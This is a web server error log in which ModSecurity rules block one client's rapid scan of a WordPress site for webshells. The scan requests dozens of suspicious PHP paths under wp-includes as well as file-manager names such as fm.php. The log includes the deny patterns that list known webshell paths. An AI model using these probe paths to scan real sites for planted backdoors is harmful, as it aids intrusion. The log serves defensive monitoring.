[Wed Apr 08 13:50:55.779831 2026] [:error] [pid 12453:tid 12479] [client 145.223.8.16:59754] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adXsvxjtW7S6XsLPvrQmRwAAAJg"]
[Wed Apr 08 13:50:59.264304 2026] [:error] [pid 12453:tid 12459] [client 145.223.8.16:59762] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adXswxjtW7S6XsLPvrQmXAAAAIQ"]
[Wed Apr 08 13:51:00.010718 2026] [:error] [pid 12386:tid 12430] [client 145.223.8.16:44990] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adXsxBLhhLtqHi2gK7VZqwAAAQ4"]
[Wed Apr 08 13:51:00.733637 2026] [:error] [pid 35642:tid 35656] [client 145.223.8.16:44996] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adXsxA-CqryxdEs5DN8_ugAAAEw"]
[Wed Apr 08 13:51:01.454141 2026] [:error] [pid 12453:tid 12475] [client 145.223.8.16:45004] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adXsxRjtW7S6XsLPvrQmbgAAAJQ"]
[Wed Apr 08 13:51:02.585420 2026] [:error] [pid 12386:tid 12420] [client 145.223.8.16:45018] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adXsxhLhhLtqHi2gK7VZugAAAQQ"]
[Wed Apr 08 13:51:03.303816 2026] [:error] [pid 35642:tid 35655] [client 145.223.8.16:45032] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adXsxw-CqryxdEs5DN8_yAAAAEs"]
[Wed Apr 08 13:51:04.771765 2026] [:error] [pid 12490:tid 12493] [client 145.223.8.16:45048] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adXsyG1Fea4F4fbumr17mAAAAME"]
[Wed Apr 08 13:51:05.528822 2026] [:error] [pid 35642:tid 35653] [client 145.223.8.16:45056] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adXsyQ-CqryxdEs5DN8_6QAAAEk"]
[Wed Apr 08 13:51:06.282339 2026] [:error] [pid 12385:tid 12413] [client 145.223.8.16:45072] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adXsyiAjtvRQEkLosq0EiAAAABg"]
[Wed Apr 08 13:51:07.033855 2026] [:error] [pid 12453:tid 12457] [client 145.223.8.16:45080] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adXsyxjtW7S6XsLPvrQmhgAAAII"]
[Wed Apr 08 13:51:08.159569 2026] [:error] [pid 12385:tid 12390] [client 145.223.8.16:45088] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adXszCAjtvRQEkLosq0EiwAAAAE"]
[Wed Apr 08 13:51:09.597512 2026] [:error] [pid 35642:tid 35667] [client 145.223.8.16:40812] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adXszQ-CqryxdEs5DN9AAQAAAFc"]
[Wed Apr 08 13:51:11.788760 2026] [:error] [pid 12453:tid 12465] [client 145.223.8.16:40828] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adXszxjtW7S6XsLPvrQmmwAAAIo"]
[Wed Apr 08 13:51:15.195635 2026] [:error] [pid 12490:tid 12513] [client 145.223.8.16:40834] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adXs021Fea4F4fbumr176wAAANU"]
[Wed Apr 08 13:51:17.023647 2026] [:error] [pid 12490:tid 12500] [client 145.223.8.16:40836] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adXs1W1Fea4F4fbumr18BAAAAMg"]
[Wed Apr 08 13:51:17.772342 2026] [:error] [pid 12490:tid 12510] [client 145.223.8.16:40844] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adXs1W1Fea4F4fbumr18CgAAANI"]
[Wed Apr 08 13:51:20.283010 2026] [:error] [pid 12490:tid 12494] [client 145.223.8.16:40854] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adXs2G1Fea4F4fbumr18NgAAAMI"]
[Wed Apr 08 13:51:22.170788 2026] [proxy_fcgi:error] [pid 12453:tid 12459] [client 145.223.8.16:42096] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:51:22.556449 2026] [proxy_fcgi:error] [pid 12453:tid 12470] [client 145.223.8.16:42096] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:51:22.935522 2026] [proxy_fcgi:error] [pid 12453:tid 12463] [client 145.223.8.16:42096] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:51:24.809322 2026] [:error] [pid 12453:tid 12457] [client 145.223.8.16:42096] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adXs3BjtW7S6XsLPvrQm-wAAAII"]
[Wed Apr 08 13:51:25.544650 2026] [:error] [pid 12385:tid 12397] [client 145.223.8.16:42108] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adXs3SAjtvRQEkLosq0ErQAAAAg"]
[Wed Apr 08 13:51:26.285170 2026] [:error] [pid 12490:tid 12494] [client 145.223.8.16:42112] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adXs3m1Fea4F4fbumr18lQAAAMI"]
[Wed Apr 08 13:51:27.006459 2026] [:error] [pid 12386:tid 12434] [client 145.223.8.16:17004] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adXs3xLhhLtqHi2gK7VaCQAAARI"]
[Wed Apr 08 13:51:27.730316 2026] [:error] [pid 35642:tid 35647] [client 145.223.8.16:42138] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adXs3w-CqryxdEs5DN9AWAAAAEM"]
[Wed Apr 08 13:51:28.456518 2026] [:error] [pid 12386:tid 12426] [client 145.223.8.16:42150] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adXs4BLhhLtqHi2gK7VaFgAAAQo"]
[Wed Apr 08 13:51:29.583415 2026] [:error] [pid 12385:tid 12411] [client 145.223.8.16:31627] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adXs4SAjtvRQEkLosq0EwAAAABY"]
[Wed Apr 08 13:51:30.332531 2026] [:error] [pid 12453:tid 12469] [client 145.223.8.16:40510] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adXs4hjtW7S6XsLPvrQnCgAAAI4"]
[Wed Apr 08 13:51:31.057759 2026] [:error] [pid 12385:tid 12394] [client 145.223.8.16:40512] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adXs4yAjtvRQEkLosq0EywAAAAU"]
[Wed Apr 08 13:51:31.808879 2026] [:error] [pid 35642:tid 35653] [client 145.223.8.16:40526] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adXs4w-CqryxdEs5DN9AZgAAAEk"]
[Wed Apr 08 13:51:33.276360 2026] [:error] [pid 35642:tid 35654] [client 145.223.8.16:12901] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adXs5Q-CqryxdEs5DN9AcQAAAEo"]
[Wed Apr 08 13:51:34.380688 2026] [:error] [pid 12490:tid 12498] [client 145.223.8.16:40548] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adXs5m1Fea4F4fbumr189wAAAMY"]
[Wed Apr 08 13:51:35.829367 2026] [:error] [pid 12490:tid 12495] [client 145.223.8.16:20671] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adXs521Fea4F4fbumr19EQAAAMM"]
[Wed Apr 08 13:51:37.284579 2026] [:error] [pid 12453:tid 12478] [client 145.223.8.16:40552] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adXs6RjtW7S6XsLPvrQnPAAAAJc"]
[Wed Apr 08 13:51:39.115142 2026] [:error] [pid 12385:tid 12410] [client 145.223.8.16:40560] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adXs6yAjtvRQEkLosq0E5gAAABU"]
[Wed Apr 08 13:51:41.388183 2026] [:error] [pid 12385:tid 12406] [client 145.223.8.16:48540] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adXs7SAjtvRQEkLosq0E8AAAABE"]
[Wed Apr 08 13:51:42.521151 2026] [:error] [pid 35642:tid 35650] [client 145.223.8.16:48548] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adXs7g-CqryxdEs5DN9AmAAAAEY"]
[Wed Apr 08 13:51:49.224480 2026] [:error] [pid 12490:tid 12498] [client 145.223.8.16:48564] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adXs9W1Fea4F4fbumr195wAAAMY"]
[Wed Apr 08 13:51:49.943399 2026] [:error] [pid 12386:tid 12421] [client 145.223.8.16:39118] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adXs9RLhhLtqHi2gK7VaUwAAAQU"]
[Wed Apr 08 13:51:51.018593 2026] [:error] [pid 12490:tid 12506] [client 145.223.8.16:39134] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adXs921Fea4F4fbumr19-QAAAM4"]
[Wed Apr 08 13:51:52.517780 2026] [:error] [pid 12490:tid 12513] [client 145.223.8.16:39136] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adXs-G1Fea4F4fbumr1-DgAAANU"]
[Wed Apr 08 13:51:53.253791 2026] [:error] [pid 12490:tid 12499] [client 145.223.8.16:39138] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adXs-W1Fea4F4fbumr1-FQAAAMc"]
[Wed Apr 08 13:51:55.517092 2026] [:error] [pid 12490:tid 12500] [client 145.223.8.16:39144] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adXs-21Fea4F4fbumr1-NwAAAMg"]
[Wed Apr 08 13:51:56.281608 2026] [:error] [pid 12385:tid 12400] [client 145.223.8.16:39160] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "adXs_CAjtvRQEkLosq0FDgAAAAs"]
[Wed Apr 08 13:51:58.936669 2026] [:error] [pid 12385:tid 12408] [client 145.223.8.16:39172] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adXs_iAjtvRQEkLosq0FGgAAABM"]
[Wed Apr 08 13:52:00.050681 2026] [proxy_fcgi:error] [pid 35642:tid 35654] [client 145.223.8.16:37750] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:52:00.791875 2026] [:error] [pid 35642:tid 35667] [client 145.223.8.16:37750] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "adXtAA-CqryxdEs5DN9BDQAAAFc"]
[Wed Apr 08 13:52:01.507549 2026] [:error] [pid 35642:tid 35660] [client 145.223.8.16:37760] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adXtAQ-CqryxdEs5DN9BFgAAAFA"]
[Wed Apr 08 13:52:02.965945 2026] [:error] [pid 12490:tid 12495] [client 145.223.8.16:26790] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adXtAm1Fea4F4fbumr1-3AAAAMM"]
[Wed Apr 08 13:52:03.688251 2026] [:error] [pid 12386:tid 12429] [client 145.223.8.16:64951] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adXtAxLhhLtqHi2gK7VasQAAAQ0"]
[Wed Apr 08 13:52:07.102093 2026] [:error] [pid 35642:tid 35653] [client 145.223.8.16:15047] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adXtBw-CqryxdEs5DN9BVgAAAEk"]
[Wed Apr 08 13:52:07.827897 2026] [:error] [pid 12490:tid 12506] [client 145.223.8.16:37788] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adXtB21Fea4F4fbumr1_BwAAAM4"]
[Wed Apr 08 13:52:10.030797 2026] [:error] [pid 12386:tid 12423] [client 145.223.8.16:37796] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "adXtChLhhLtqHi2gK7VazQAAAQc"]
